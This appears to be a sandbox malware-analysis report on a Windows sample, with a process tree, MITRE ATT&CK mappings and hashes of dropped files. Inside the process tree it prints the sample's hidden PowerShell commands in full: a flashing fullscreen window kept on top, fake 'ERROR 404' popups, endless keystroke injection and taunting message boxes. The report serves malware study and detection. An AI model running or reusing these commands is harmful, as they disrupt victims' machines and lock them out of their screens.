    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5640,i,18234784880012992195,3423055037282503139,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=3792 /prefetch:14
    3⤵
    - Modifies registry class
    PID:3552
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5596,i,15160658543808088369,11960818577000464316,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=5252 /prefetch:14
    3⤵
    PID:3352
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5600,i,5025628179178657995,13771507847517576542,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=3852 /prefetch:14
    3⤵
    PID:3984
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5760,i,17103912580479270322,12399930957345957030,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=3832 /prefetch:12
    3⤵
    PID:1160
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6720,i,14598040458916376248,10798628737954920687,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=6756 /prefetch:14
    3⤵
    PID:2672
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7112,i,6830388259257900084,15472650185130209511,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=7036 /prefetch:14
    3⤵
    PID:3716
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5968,i,2856511538039056917,16615393309910892519,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=6004 /prefetch:14
    3⤵
    PID:1788
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5332,i,18102475632731008097,5412224654536660360,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=4576 /prefetch:14
    3⤵
    PID:1248
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5996,i,912772179255765486,12750096916392911353,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=4580 /prefetch:14
    3⤵
    PID:4176
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6428,i,4687227407577331424,12921739282693647108,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=6380 /prefetch:14
    3⤵
    PID:4372
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6348,i,10741218200684955865,18212712140594223476,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=6008 /prefetch:14
    3⤵
    PID:4652
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2512,i,16987362905742056335,12755853085998627736,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=5320 /prefetch:14
    3⤵
    PID:4104
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6808,i,15974356231253313237,3224055094961766962,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=5328 /prefetch:14
    3⤵
    PID:5432
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5324,i,847459486006617083,12899932740031293033,262144 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=7140 /prefetch:10
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4836
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6724,i,12729390026324318567,2256608663102931901,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=2552 /prefetch:14
    3⤵
    PID:4668
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5268,i,13525129409075281963,8833041224627636522,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=3656 /prefetch:14
    3⤵
    PID:5936
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5596,i,8281511133844504358,17408913503086666968,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=6304 /prefetch:14
    3⤵
    PID:6136
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=912,i,14998830937235272794,2894692237440028268,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=5132 /prefetch:14
    3⤵
    PID:3936
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6280,i,18271803650533082598,6770973025033425289,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=6272 /prefetch:14
    3⤵
    PID:4532
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6008,i,10596164334514066276,18277321423415836336,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=3656 /prefetch:14
    3⤵
    PID:4916
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6280,i,10007268539597311268,5244494011953993097,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=2580 /prefetch:14
    3⤵
    PID:3688
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5800,i,1802517763015092964,5078281255886899874,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=6280 /prefetch:14
    3⤵
    PID:6140
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5956,i,17106136433784134720,2738711358044292049,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=7136 /prefetch:14
    3⤵
    PID:4872
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5712,i,12951502796650911790,4984079508863374648,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=5324 /prefetch:14
    3⤵
    PID:1476
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5316,i,17875820546526689063,5872488562080239290,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=6280 /prefetch:14
    3⤵
    PID:3452
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6336,i,13522156267134597579,13772665563222877452,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=6176 /prefetch:14
    3⤵
    PID:3068
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6764,i,16075545471107443558,7999409365556826427,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=6976 /prefetch:14
    3⤵
    PID:4064
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5708,i,10424527704398802281,2605189487497421504,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=4376 /prefetch:14
    3⤵
    PID:1500
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3596,i,1014319185172831988,1803575045013714858,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=6328 /prefetch:14
    3⤵
    PID:3396
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5808,i,15075075340968534389,1912370495292244572,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=5744 /prefetch:14
    3⤵
    PID:2312
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6332,i,11045659195539628895,16783897833855497191,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=6712 /prefetch:14
    3⤵
    PID:2964
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2552,i,11935888060868192333,4127574599316079040,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=7100 /prefetch:14
    3⤵
    PID:4700
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5904,i,2085742993462742603,17773632664462263344,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=6336 /prefetch:14
    3⤵
    PID:4904
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5808,i,3723873950414250362,5337214472969218463,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=6332 /prefetch:14
    3⤵
    PID:4484
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6748,i,15124444705833668560,7326160806952963146,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=6328 /prefetch:14
    3⤵
    PID:3612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -TypeDefinition 'using System;using System.Runtime.InteropServices;public class W{[DllImport(\"user32.dll\")]public static extern bool SetForegroundWindow(IntPtr h);public static extern bool SetWindowPos(IntPtr h,int a,int x,int y,int w,int ht,uint f);}'; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.TopMost=$true; $f.ShowInTaskbar=$false; $f.Bounds=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $c=New-Object System.Windows.Forms.Timer; $c.Interval=120; $r=New-Object Random; $c.Add_Tick({$f.BackColor=[System.Drawing.Color]::FromArgb($r.Next(2)*255,$r.Next(2)*255,$r.Next(2)*255)}); $c.Start(); [W]::SetForegroundWindow($f.Handle); $f.Show(); while($true){[W]::SetWindowPos($f.Handle,-1,0,0,$f.Width,$f.Height,0x0040); Start-Sleep -Milliseconds 50}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3548
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xt1f3u4f\xt1f3u4f.cmdline"
    3⤵
    PID:4932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; Add-Type -TypeDefinition 'using System;using System.Runtime.InteropServices;public class W{[DllImport(\"user32.dll\")]public static extern bool SetWindowPos(IntPtr h,int a,int x,int y,int w,int ht,uint f);}'; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.TopMost=$true; $f.ShowInTaskbar=$false; $f.Bounds=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $f.TransparencyKey=[System.Drawing.Color]::Fuchsia; $f.BackColor=[System.Drawing.Color]::Fuchsia; $f.Add_Paint({ $g=$_.Graphics; $r=New-Object Random; $hue=$r.Next(360); $sw=$f.Width; $sh=$f.Height; for($i=0;$i -lt 300;$i++){ $col=[System.Drawing.Color]::FromArgb(180,([int](255*([math]::Abs([math]::Sin(($hue+$i)60)*3.14159/180)))56,([int](255*([math]::Sin((($hue+$i)*2)60)*3.14159/180)))56,([int](255*([math]::Cos((($hue+$i)*3)60)*3.14159/180)))56); $pen=New-Object System.Drawing.Pen($col,2); $g.DrawLine($pen,$r.Next($sw),$r.Next($sh),$r.Next($sw),$r.Next($sh)) }}); $t=New-Object System.Windows.Forms.Timer; $t.Interval=100; $t.Add_Tick({$f.Invalidate()}); $t.Start(); $f.Show(); $f.Activate(); while($true){[W]::SetWindowPos($f.Handle,-1,0,0,$f.Width,$f.Height,0x0040); Start-Sleep -Milliseconds 60}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $r=New-Object Random; $sw=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width; $sh=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height; for($i=0;$i -lt 300;$i++){ $f=New-Object System.Windows.Forms.Form; $f.StartPosition='Manual'; $f.TopMost=$true; $f.Text='ERROR 404'; $f.Size=New-Object System.Drawing.Size(320,120); $f.Location=New-Object System.Drawing.Point($r.Next($sw-320),$r.Next($sh-120)); $l=New-Object System.Windows.Forms.Label; $l.Text='Error 404: PAGE NOT FOUND'; $l.Dock='Fill'; $l.BackColor=[System.Drawing.Color]::Black; $l.ForeColor=[System.Drawing.Color]::Red; $l.TextAlign='MiddleCenter'; $f.Controls.Add($l); $f.Show(); Start-Sleep -Milliseconds 120 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; while($true){[System.Windows.Forms.SendKeys]::SendWait('{ENTER}'); Start-Sleep -Milliseconds 150}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" start "" /min powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName PresentationFramework; $r=New-Object Random; $msgs=@('Error 404: PAGE NOT FOUND','Taylor has taken over','SYSTEM FAILURE','Access Denied','BAD BLOOD','You cannot escape','404 404 404'); while($true){[System.Windows.MessageBox]::Show($msgs[$r.Next($msgs.Count)],'ERROR 404','OK','Error')"
  2⤵
  PID:2876

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2760

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1840

C:\Windows\System32\SecurityHealthHost.exe
\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
1⤵
PID:2324

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ec6a4f25194d7df920f023b94035789770d82b866f099f5b5c173cc54b917115
MD5 3f1c1794ec8ced524804973bbce2d4ac
SHA1 6590c89953e8a722e5a484b9a6cf54a706728368
SHA512 4d64e702748a9bdaaf0d9e615e1a53c00d60b36678bc7c8cbf081669c63c3b8c23886cf0b3633e50e54853f273a2e585b73bb1a35f53ef1493bf40ac357ee359
TLSH
T1F1D02BF0B7ECD443C084507800F21574112571301518C2F02311E18805042810511315
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 08b551008bdcc4de6c80e8d8ffe37c1b7477ababb9604ca97c52b81aed70fdae
MD5 4cd8e5e902146ba19eacbbf4f2e5586c
SHA1 94f807b68c16fd008173350beb37c8686810bcbd
SHA512 6381a86b9ddf9099cf403e36e8c774a996a2a9e547c95e0b2070ef6e2e5e94028cf8284c9fb284f5f80b523066ed68d34895e768192628c20598a4e881c034ca
TLSH
T1D5D02BF4B7DCD543C084507400F11574113571306918C2F02311E18805042810512329
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 331B
SHA256 13c1ff42d4886b8686d6a1f62adf4d66c9e8b2a80d1fecda12c0ec54b715cb21
MD5 7c21943bb9c3b53ce803b619ec4faab7
SHA1 b772ba9cad8889d26e957c354b68ebdfa663894d
SHA512 3ac7353b9fd85557cfea3c8bb7f7688dd84b69bebae7a39c3b8621023b159082309c5f46cc93f6c747995ba1ef33f5e23ab995796f165f84d44c58c949b91eb8
TLSH
T173E0809C09CAC35FF315A8C74674578CA1903B4F97DC7B5A1B04C48A724757467D35D2
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 334B
SHA256 f26a0f75524b53710803002ba9eb8382d86c21ad0d2fc6b8ab206ddf72f8c417
MD5 adf923b1e3a152bf8b0b73c588d0886d
SHA1 14dc65ab1b66380b12b49cca8fd729bde24b0822
SHA512 90b7be06e2a9457d4e2d89b859c84736d2fa827f813298517ca4b00699bc3bd2d2138fd84116b6020023efbce0cbf4d748123b08d7bf33fec96a2153154c7390
TLSH
T1FDE0809809D7C35FD309A88B56685B4C819E370F96CC6BC73F04C4C8758156467D76D1
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 334B
SHA256 fe669df7c55fe2f1ad6069f95635de6e9612db1dbbc6f4c10e91385d4c0b796d
MD5 50c672e15b918efc4d929986d967cd68
SHA1 57677dfe1697c49dcccb27bab66b4dc7e1930ded
SHA512 ef2bcf6fb8c79925556824b931408d7e6c0e0c8ee18748bd5bf5adeab16de72a3cad56a1d46d16eee896e9a7fef2c5630295012e024e84532bd4d308ef872227
TLSH
T1E5E026AE1CC8C36FE322E4CB416C4B4C92A17B0FA7CCBF0E5700848D7042254A2C2AD7
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 4769ce9c055bab8cf4fe50a16aa0de79598e1816da8c4c2edb497158dc9ea918
MD5 bb80a7963fda22767706a4b9fa00a98b
SHA1 3c840ca0070e1d509af181c72559051384743b3a
SHA512 18e1f1a119045108acf67f100be10e8c8dfa394d27a7e13583a36f5f62b260f2a6a6c50867016a5fd34418f8bbb454cb73ef870988d93226437ecffc12579584
TLSH
T10A71FC4512A6488BFB9C20B080F4DCA73E3B538656839FF226ADD6F7991F3A941CC44C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59b59a.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe59b59a.TMP
Size 3KB
SHA256 89cb57d134067b51a56f42b6808a1d04e886b0c629137f55a75798d8237b745b
MD5 e2401dcc0e5151177534241071a470fc
SHA1 478120fe5d53f9cef9740c1461037614fc2f6639
SHA512 bc18d041e9d38fa58635620e943f68ccd1c1ac3d52ea9c4da3dc5dedf811f506a38cbd8ca18dd22ce1746f11f67f916d7ab87aba4d80a3b27866a9128f18e224
TLSH
T18161C8851256004BFBAC60F090E1DCA73E37A78296839FF226ADD2F7995F3AD51DD048
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

